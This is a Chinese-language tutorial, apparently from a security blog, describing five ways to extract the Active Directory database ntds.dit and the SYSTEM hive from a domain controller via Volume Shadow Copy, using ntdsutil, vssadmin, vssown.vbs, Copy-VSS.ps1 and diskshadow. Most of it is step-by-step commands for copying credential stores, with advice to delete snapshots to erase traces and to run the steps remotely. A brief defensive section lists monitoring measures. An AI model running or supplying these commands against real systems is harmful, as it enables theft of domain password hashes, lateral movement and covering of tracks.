利用卷影拷贝服务攻击域控的五大方法详解
一、NTDS.DIT文件概述
在微软Active Directory(活动目录)中,所有数据都保存在ntds.dit文件中。NTDS.DIT是一个二进制文件,存在于域控制器的%SystemRoot%\ntds\NTDS.DIT路径下,包含但不限于以下信息:
- 用户名(Username)
- 密码哈希(Hash)
- 组信息(Group)
- 组策略首选项(GPP)
- 组织单位(OU)信息
与SAM文件类似,NTDS.DIT被Windows系统锁定,无法直接访问。因此,攻击者通常利用VSS(Volume Shadow Copy Service)卷影拷贝服务来获取该文件。
二、五大攻击方法详解
方法1:使用ntdsutil工具提取
适用系统:Server 2003、Server 2008、Server 2012
操作步骤:
-
创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit创建后会生成一个GUID标识的快照副本。
-
挂载快照:
ntdsutil snapshot "mount {GUID}" quit quit快照通常挂载在类似
C:\$SNAP_201808131112_VOLUMEC$\的目录下。 -
复制ntds.dit:
copy C:\$SNAP_201808131112_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit -
清理痕迹:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
方法2:使用vssadmin工具提取
适用系统:Server 2008、Server 2012
操作步骤:
-
创建卷影副本:
vssadmin create shadow /for=c: -
复制ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit c:\ntds.dit -
删除副本:
vssadmin delete shadows /for=c: /quiet
方法3:使用vssown.vbs脚本提取
脚本下载:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
操作步骤:
-
启动卷影复制服务:
cscript vssown.vbs /start -
创建卷影副本:
cscript vssown.vbs /create c -
列出当前卷影副本:
cscript vssown.vbs /list -
复制ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\NTDS\ntds.dit c:\ntds.dit -
删除卷影副本:
cscript vssown.vbs /delete {GUID}
方法4:使用NTDSUTIL的IFM创建卷影副本
操作步骤:
-
创建IFM并复制文件:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q该命令会将:
- ntds.dit复制到
c:\test\Active Directory目录 - SYSTEM和SECURITY文件复制到
c:\test\registry目录
- ntds.dit复制到
-
清理痕迹:
rmdir /s/q test
PowerShell替代方法:
使用nishang工具包中的Copy-VSS.ps1脚本:
import-module .\Copy-VSS.ps1
Copy-vss
脚本会将SAM、SYSTEM、ntds.dit复制到脚本同目录中。
方法5:使用diskshadow导出ntds.dit
优势:
- 微软官方签名工具
- 默认包含在Server 2008/2012/2016中
- 支持非交互模式操作
操作步骤:
-
创建命令文件(command.txt),内容如下:
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% k: exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit delete shadows all list shadows all reset exit -
执行命令:
diskshadow /s c:\command.txt注意:必须在
C:\windows\system32\目录下执行 -
导出SYSTEM文件:
reg save hklm\system c:\windows\temp\system.hive
三、防御措施
-
监控VSS服务使用:
- 检测涉及ntds.dit的可疑操作
- 监控System Event ID 7036(VSS服务启动标志)
- 监控VSSVC.exe进程创建事件
-
监控工具使用:
- 监控diskshadow.exe及相关子进程的创建
- 在客户端设备上监控diskshadow.exe实例创建
-
系统加固:
- 非必要情况下删除diskshadow.exe
- 监控新的逻辑驱动器映射事件
-
日志分析:
- 定期分析系统日志中的可疑卷影拷贝活动
- 建立异常操作告警机制
四、总结要点
-
工具选择:
- diskshadow.exe最为灵活且为微软官方工具
- vssadmin和ntdsutil为系统自带工具
- vssown.vbs需要额外下载
-
操作注意事项:
- 使用diskshadow.exe时必须在system32目录下执行
- 操作完成后务必清理痕迹(删除快照)
- 检查导出的ntds.dit文件大小以确保完整性
-
攻击扩展:
- 这些方法可通过WMI或PowerShell远程执行
- 可结合其他工具进行自动化攻击
-
关键文件:
- 获取ntds.dit的同时必须获取SYSTEM文件(包含解密密钥)
- 也可一并获取SAM文件以增强攻击效果
通过以上五种方法,攻击者可以有效地获取域控中的关键凭据信息,进而实现横向移动和权限提升。防御方应重点关注VSS服务的异常使用和系统自带工具的可疑调用。